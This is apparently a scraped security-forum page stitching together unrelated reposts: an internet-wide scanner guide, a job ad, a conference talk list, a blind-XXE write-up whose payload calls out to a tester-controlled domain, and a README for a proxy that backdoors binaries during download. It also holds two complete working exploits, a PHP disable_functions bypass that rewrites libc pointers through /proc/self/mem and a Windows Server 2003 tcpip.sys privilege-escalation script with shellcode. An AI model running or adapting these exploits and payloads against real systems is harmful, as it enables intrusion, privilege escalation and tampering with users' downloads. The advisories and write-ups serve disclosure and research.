[[80, 81]] threads = 1 imports = None banner = True count = None output = None indexes = [(16777216L, 4194304L, -249, 16776967L, 249)] cooldown = (1000, 1.0)[/TD] [/TR] [/TABLE] To resume a previous scan, simply type: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py resume resume.conf[/TD] [/TR] [/TABLE] Cooling Down the Transfer rate This is a very important option to regulate Nscan with your bandwidth, If you don't choose this properly, Nscan will probably knock off your router and force it to restart since it sends more traffic than your router could handle. You can specify the number of packets that needs to be sent before Nscan should cool down and sleep for a while ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 10.0.0.0./16 -p21-25,8080 --cooldown=100,0.1[/TD] [/TR] [/TABLE] This tells Nscan, "for every 100 packets sent, sleep for 0.1 second(s)" P.S: The size of one packet is 54 bytes If you have a gigabit Ethernet connection, you probably want to disable this: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 0.0.0.0./0 -p21-25,8080 --cooldown=[ANY],0[/TD] [/TR] [/TABLE] Write Your Own Nscripts Every nscan script should have a run() function, that takes two arguments: queue: queue where your script receives ip:port event: This tells your script that Nscan is completed the scan, and waiting for your script to finsish before it exits Make sure that your script is under '~/nscan/nscripts' folder. Every Nscript has this simple skeleton: ? [TABLE=width: 657] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [/TD] [TD=class: code]import Queue import logging # Import any module you need here def run(queue, event): while True: if queue.empty() and event.isSet(): # If the Scan is completed and the queue is empty (no more results) break else: try: ip, port = queue.get(False, TIMEOUT) # Should be non-blocking # Do something useful with IP:PORT except KeyboardInterrupt: # Scan suspended, should exit break except Queue.Empty: # No results pass[/TD] [/TR] [/TABLE] Use the logging module to output your results: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 [/TD] [TD=class: code]SCRIPT = 'MYSCRIPT' logging.info('[{}] {}:{} | {}'.format(SCRIPT, IP, PORT, 'MY RESULTS'))[/TD] [/TR] [/TABLE] Fork me on Github Here is repository: https://github.com/OffensivePython/Nscan Contribute and Share your Nscripts Tips, Requests, Improvements to make Nscan more stable and faster are always welcome. If you want to share your Nscripts with everybody, tweet me at @offensivePython #Nscan with a link of your script, and i will add it under the nscript folder here Sursa: http://www.pythonforpentesting.com/2015/01/nscan-fast-internet-wide-scanner.html

In perioada 5-6 Februarie X, va desf??ura pentru Y, la sediu nostru un eveniment de recrutare. Acest eveniment implica un proces de recrutare rapid pentru oricine este interesat de o pozitie in X. Evenimentul costa in comasarea unei sesiuni de interviuri complete de la interviul tehnic, de HR, Project Management, discu?ia cu clientul si oferta X, comprimate in time frame-ul unei ore / 1h si jumatate de sesiuni de interviuri. Skills Required: 1. Good level of C/C++ 2. OOP, OOD principles 3. Embedded development experience (memory management, multithreading, asynchronous communications) 4. Development of UnitTests, SW functional tests for own code 5. Experience with code compiled cross platform: Fedora (PC), ARM as Target 6. QT experience is a plus 7. Automotive experience is a plus Cine e interesat imi poate da mesaj privat.

Archieves of POC201 POC2014 [TABLE=class: table table-bordered, width: 1045] [TR] [TD] Bo Qu, Royce Lu, @ga1ois, "Advanced Defense for Internet Explorer"[/TD] [TD][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Byoungyoung Lee, "Identifying Memory Corruption Bugs with Compiler Instrumentations"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Florian Grunow, "How to Own your Heart - Hacking Medical Devices"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] GilGil, "mVoIP Hacking"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] hotwing, "Hunting Zero Days in Crash Dumps"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] John C. Matherly, "Behind the Scenes of Shodan"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Karsten Nohl, "BadUSB — On accessories that turn evil"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] K-dupe, Hyunuk, Kibom, "Physical Memory File Extraction Based on File Object Analysis"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Matt, AbdulAziz, Jasiel , "Dropping the MIC (Medium Integrity Calculator): Pwning Internet Explorer for fun "[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Maxim Goncharov, "Be first to know about data breach of popular web sites"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] MJ0011, "Windows 10 Control Flow Guard Internals"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] passket & Team SNE, "Only True Love Can Thaw Frozen SCADA Systems"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Tombkeeper, "JavaScript VM breakout based exploiting"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Wei Yan, "Auto Mobile Malware, Attack Scenarios, and How to Defend"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [/TABLE] POC will show you only technical, creative and very interesting topics. Fuck off, marketing and commercial presentation! Sursa: POC2015 - We Trust a Power Of Community

Nu e asa periculos de RCE. Dar e mare riscul de Denial of Service. E usor de crapat un Exim: 1337Day Agreement - 1337day Inj3ct0r Exploit Database : vulnerability : 0day : new exploits : buy and sell private exploit : shellcode by Inj3ct0r Team Cum sa patch-uiesti manual?

Blindly confirming XXE by Bojan Zdrnja (Version: 1) Almost exactly a year ago I posted a diary called “Is XXE the new SQLi?” – you can read it athttps://isc.sans.edu/diary/Is+XXE+the+new+SQLi/17375. In last year, the things have not changed a lot regarding XXE vulnerabilities. They still seem to be popping up here and there, depending on how XML documents are consumed by server side applications. Recently I had an interesting engagement where the server side web application consumed an XML document submitted by a user (through a web browser, in a POST HTTP request). Of course, whenever you see XML being used, you should always test for existence of XXE vulnerabilities since their impact can be quite serious – check the original diary – and can lead from Denial of Service attacks to disclosure of arbitrary files. In this specific case, however, the problem was that while the application processed the submitted XML document, it never outputted anything from the document: the application would only echo back if processing was successful or not. So the question that came in mind was on how to confirm if the target application was vulnerable to XXE or not? Sure, I could try to launch a DoS attack to see if it works or not, but since I was dealing with a semi-production system, this was not an option. Almost like blind SQL injection This case is very similar to blind SQL injection vulnerabilities: we can modify the input and while we cannot see the output directly, we can deduce what happened on the server side. Let’s see an example of how this can work with the following XML document, which is submitted originally: <DocumentLayer> <Document InternalID="1"> <DocumentPointer>Test</DocumentPointer> </Document> </DocumentLayer> Of course, in the real test the XML document was much more complex and had some logic for the backend application – keep in mind that this is just a simple example. In this particular case, the <DocumentPointer> element had to contain the string Test. So, similarly to a blind SQL injection vulnerability we can try modifying this element to see what happens: when I put any other string the processing on the server side failed. The XML document can now be extended as shown below to verify if an external entity will be processed: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe "Test"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> Simple! If this works, it means that we blindly confirmed that the XML processor on the server side used our reference to the xxe entity. Cool. The next step is to see if we can use external entities. However, again, since we cannot see the results of the XXE injection, it’s not all that simple. To make things more complex, the backend server is behind a firewall that does not let this machine connect directly to anything on the Internet. This stops us from using a SYSTEM external entity with a URL supplied. So is there any other way to confirm that external entities are supported? Probably yes – there is one protocol that is almost always allowed, in one sense or another: DNS. In this particular case, this means that we can craft external entity which will resolve to a domain name that we control – by checking DNS requests we can see if the entity was resolved correctly or not. In this case it does not matter if the backend server cannot access the Internet or not – in many cases it will be able to issue DNS requests (by using a local DNS recursive resolver), so we will see the request come from a different server: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe SYSTEM "http://thisdomaindoesnotexist.infigo.hr/test.txt"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> While this document will not be processed correctly (remember, the DocumentPointer element must contain the text string Test), the reference will be resolved by the XML processor and by observing the DNS traffic on DNS servers for our domain we will see a request for the submitted domain which will allow us to confirm that XXE’s are resolved by the target application. So, to wrap things up – we blindly confirmed the XXE vulnerability in the target application. While in this case our exploitation options are unfortunately limited “only” to DoS, it is worth noting that the vulnerability exists, and that it’s only a matter of time when it can be abused further, unless patched. -- Bojan @bojanz ?INFIGO IS Sursa: https://isc.sans.edu/diary/Blindly+confirming+XXE/19257

The Backdoor Factory Proxy (BDFProxy) v0.2 For security professionals and researchers only. NOW ONLY WORKS WITH MITMPROXY >= v.0.11 To install on Kali: apt-get update apt-get install bdfproxy DerbyCon 2014 Presentation: About 18 minutes in is the BDFProxy portion. Contact the developer on: IRC: irc.freenode.net #BDFactory Twitter: @Midnite_runr This script rides on two libraries for usage: The Backdoor Factory (BDF) and the mitmProxy. Concept: Patch binaries during download ala MITM. Why: Because a lot of security tool websites still serve binaries via non-SSL/TLS means. Here's a short list: sysinternals.com Microsoft - MS Security Essentials Almost all anti-virus companies Malwarebytes Sourceforge gpg4win Wireshark etc... Yes, some of those apps are protected by self checking mechanisms. I've been working on a way to automatically bypass NSIS checks as a proof of concept. However, that does not stop the initial issue of bitflipping during download and the execution of a malicious payload. Also, BDF by default will patch out the windows PE certificate table pointer during download thereby removing the signature from the binary. Depends: Pefile - most recent ConfigObj mitmProxy - Kali Build .10 BDF - most current Capstone (part of BDF) Supported Environment: Tested on all Kali Linux builds, whether a physical beefy laptop, a Raspberry Pi, or a VM, each can run BDFProxy. Install: BDF is in bdf/ Run the following to pull down the most recent: ./install.sh OR: git clone https://github.com/secretsquirrel/the-backdoor-factory bdf/ If you get a certificate error, run the following: mitmproxy And exit [Ctr+C] after mitmProxy loads. Usage: Update everything before each use: ./update.sh READ THE CONFIG!!! -->bdfproxy.cfg You will need to configure your C2 host and port settings before running BDFProxy. DO NOT overlap C2 PORT settings between different payloads. You'll be sending linux shells to windows machines and things will be segfaulting all over the place. After running, there will be a metasploit resource script created to help with setting up your C2 communications. Check it carefully. By the way, everything outside the [Overall] section updates on the fly, so you don't have to kill your proxy to change settings to work with your environment. But wait! You will need to configure your mitm machine for mitm-ing! If you are using a wifiPineapple I modded a script put out by hack5 to help you with configuration. Run ./wpBDF.sh and enter in the correct configs for your environment. This script configures iptables to push only http (non-ssl) traffic through the proxy. All other traffic is fowarded normally. Then: ./bdf_proxy.py Here's some sweet ascii art for possible phyiscal settings of the proxy: Lan usage: <Internet>----<mitmMachine>----<userLan> Wifi usage: <Internet>----<mitmMachine>----<wifiPineapple>))) Testing: Suppose you want to use your browser with Firefox and FoxyProxy to connect to test your setup. Update your config as follows: transparentProxy = None Configure FoxyProxy to use BDFProxy as a proxy. Default port in the config is 8080. Logging: We have it. The proxy window will quickly fill with massive amounts of cat links depending on the client you are testing. Use tail -f proxy.log to see what is getting patched and blocked by your blacklist settings. However, keep an eye on the main proxy window if you have chosen to patch binaries manually, things move fast and behind the scences there is multi-threading of traffic, but the intial requests and responses are locking for your viewing pleasure. Attack Scenarios (all with permission of targets): -Evil Wifi AP -Arp Redirection -Physical plant in a wiring closet -Logical plant at your favorite ISP Sursa: https://github.com/secretsquirrel/BDFProxy

PHP disable_functions procfs bypass [RU] $ php procfs_bypass.php [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org) [*] Trying to get open@plt offset in PHP binary [+] Address is 0xe94998 [*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so [*] Trying to get open and system symbols from Libc [+] Got it. Seeking for address in memory [*] open@plt addr: 0x7f150f86d150 [*] system@plt addr: 0x7f150f7c7530 [*] Rewriting open@plt address [+] Address written. Executing cmd uid=1000(beched) gid=1000(beched) ??????=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare <?php /* $libc_ver: beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so $open_php: beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$' 0000000000e94998 R_X86_64_JUMP_SLOT open $system_offset and $open_offset: beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@" 1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5 */ function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function unp($value) { return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } } echo " [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo " [*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo " [*] Libc location: $r[1]\n"; echo " [*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, $open_php); $open_addr = unp(fread($mem, 8)); echo ' [*] open@plt addr: 0x' . dechex($open_addr) . "\n"; $libc_start = $open_addr - $open_offset; $system_addr = $libc_start + $system_offset; echo ' [*] system@plt addr: 0x' . dechex($system_addr) . "\n"; echo " [*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { echo "[+] Address written. Executing cmd\n"; readfile('/usr/bin/id'); exit; } echo "[-] Write failed. Exiting\n"; Sursa: https://rdot.org/forum/showthread.php?t=3309

Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation [COLOR=#222222][FONT=Verdana]-----BEGIN PGP SIGNED MESSAGE-----[/FONT][/COLOR]Hash: SHA256 KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-001 Publication Date: 2015.01.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: TCP/IP Protocol Driver Affected Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 Architecture: x86, x64, Itanium Impact: Privilege Escalation Attack vector: IOCTL CVE-ID: CVE-2014-4076 2. Vulnerability Description The tcpip.sys driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL. 3. Technical Description By crafting an input buffer that will be passed to the Tcp device through the NtDeviceIoControlFile() function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges. This vulnerability was discovered while fuzzing the tcpip.sys driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL 0x00120028. This was performed on an x86 installation of Windows Server 2003, Service Pack 2. ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=???????? A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated. Let's begin by reviewing the call stack: kd> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo]) f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo]) f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo]) f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo]) f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo]) f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo]) f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo]) f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo]) f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) The nt!NtDeviceIoControlFile() function was called, creating a chain of subsequent function calls that eventually led to the tcpip!SetAddrOptions() function being called. By de-constructing the call to nt!NtDeviceIoControlFile() we can derive all required information to re-create this exception. 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!NtDeviceIoControlFile+0x2a: 808e912e 5d pop ebp kd> db [ebp+2C] L?0x4 b940dd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b940dd5c 00 00 00 00 .... kd> db [ebp+24] L?0x4 b940dd58 20 00 00 00 ... kd> db [ebp+20] L?0x4 b940dd54 00 11 00 00 .... kd> db [ebp+1c] L?0x4 b940dd50 28 00 12 00 (... kd> db [ebp+18] L?0x4 b940dd4c 58 4f bd 00 XO.. kd> db [ebp+14] L?0x4 b940dd48 00 00 00 00 .... kd> db [ebp+10] L?0x4 b940dd44 00 00 00 00 .... kd> db [ebp+0c] L?0x4 b940dd40 00 00 00 00 .... kd> db [ebp+8] L?0x4 b940dd3c b8 06 00 00 .... The inputBuffer for this call references memory at 0x1000 with a length of 0x20. kd> db 0x1100 L?0x20 00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................ 00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "............... After review of the tcpip.sys driver, some memory trickery was created to control the code flow until the instruction pointer could be controlled in a way that would be beneficial to an attacker. kd> db 0x28 L?0x11 00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............ 00000038 01 eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 0000002a ff ??? Since the instruction pointer now contains 0x0000002a, exploitation becomes trivial. Merely allocating the desired payload for execution at this memory address will allow for unprivileged users to run their payload within a privileged process. 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability, the details of which are presented in the vendor's public acknowledgment MS14-070 (https://technet.microsoft.com/library/security/MS14-070). 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft requests PoC. 2014.04.29 - KoreLogic resends PoC from the initial contact email. 2014.04.29 - Microsoft acknowledges receipt of vulnerability report. 2014.04.29 - Microsoft opens case 19010 (MSRC 0050929) to investigate the vulnerability. 2014.04.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.05.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgment of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - KoreLogic informs Microsoft that no response was received following the 06.11.14 email. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - Microsoft replies to KoreLogic that they have reproduced the vulnerability and are determining how to proceed with the supplied information. They are not able to provide a CVE or an expected disclosure date. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.17 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.08.18 - Microsoft notifies KoreLogic that they have a CVE but are not willing to share it with KoreLogic at this time. 2014.09.08 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.09.11 - Microsoft responds saying that the vulnerability is expected to be disclosed in "a Fall release" and that "it is currently looking good for October." Does not provide CVE. 2014.09.24 - Microsoft informs KoreLogic that there was a packaging issue and that the patch will be pushed to November. 2014.11.03 - Microsoft confirms the patch will ship in November. 2014.11.11 - Vulnerability publicly disclosed by Microsoft as issue MS14-070 with CVE-2014-4076. 2015.01.28 - KoreLogic releases advisory. 7. Exploit #!/usr/bin/python2 # # KL-001-2015-001 / MS14-070 / CVE-2014-4076 # Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation # Matt Bergin @ KoreLogic / Level @ Smash the Stack # shout out to bla # from optparse import OptionParser from subprocess import Popen from os.path import exists from struct import pack from threading import Thread from time import sleep from ctypes import * from sys import exit CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def spawn_process(path): process = Popen([path],shell=True) pid = process.pid return def main(): print "CVE-2014-4076 x86 exploit, Level\n" global pid, process parser = OptionParser() parser.add_option("--path",dest="path",help="path of process to start and elevate") parser.add_option("--pid",dest="pid",help="pid of running process to elevate") o,a = parser.parse_args() if (o.path == None and o.pid == None): print "[!] no path or pid set" exit(1) else: if (o.path != None): if (exists(o.path) != True): print "[!] path does not exist" exit(1) else: Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start() if (o.pid != None): try: pid = int(o.pid) except: print "[!] could not convert PID to an interger." exit(1) while True: if ("pid" not in globals()): sleep(1) else: print "[+] caught attacker cmd at %s, elevating now" % (pid) break buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00" sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid)) sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba") sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00") handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] could not open handle into the Tcp device" exit(1) print "[+] allocating memory" ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40) if (ret_one != 0): print "[!] could not allocate memory..." exit(1) print "[+] writing relevant memory..." ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0))) ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0))) ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0))) ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0))) ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0))) print "[+] attack setup done, crane kick!" DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0) CloseHandle(handle) exit(0) if __name__=="__main__": main() The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJUya/SAAoJEE1lmiwOGYkM1BIH/AznEH5nadamN6PSucr53QnH jj4P0ab+qtTIzToVXrxDvScSf7O7ZySOr9y3vvW2W+yfRknbrQCueu+8uLNzRFbr o8T4HB0Ahcy4XmI+9CVLoIQydo6nykciD1sRpVALo5UnCgzlcZn8MJB/2RCYNZJb CCqx7kuL+xxTmoQeCGUSy/Gy3sfvwVhwmsyiBxW7Y5v/xt2RgaYPaOAEjML6IHtY IrtHJQtVhdmXb+p9MaLi4D5WGDjydDG/yTmuZYRmBc+k6B7TiaFfzXX/1ecVLVn9 FmQFy0qa7fQWty4e39/0d0yqw4nUn/1saDpSgmrlox6ZkZYaapTRF/sNcExcY54= =1+YJ [COLOR=#222222][FONT=Verdana]-----END PGP SIGNATURE-----[/FONT][/COLOR] Sursa: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt

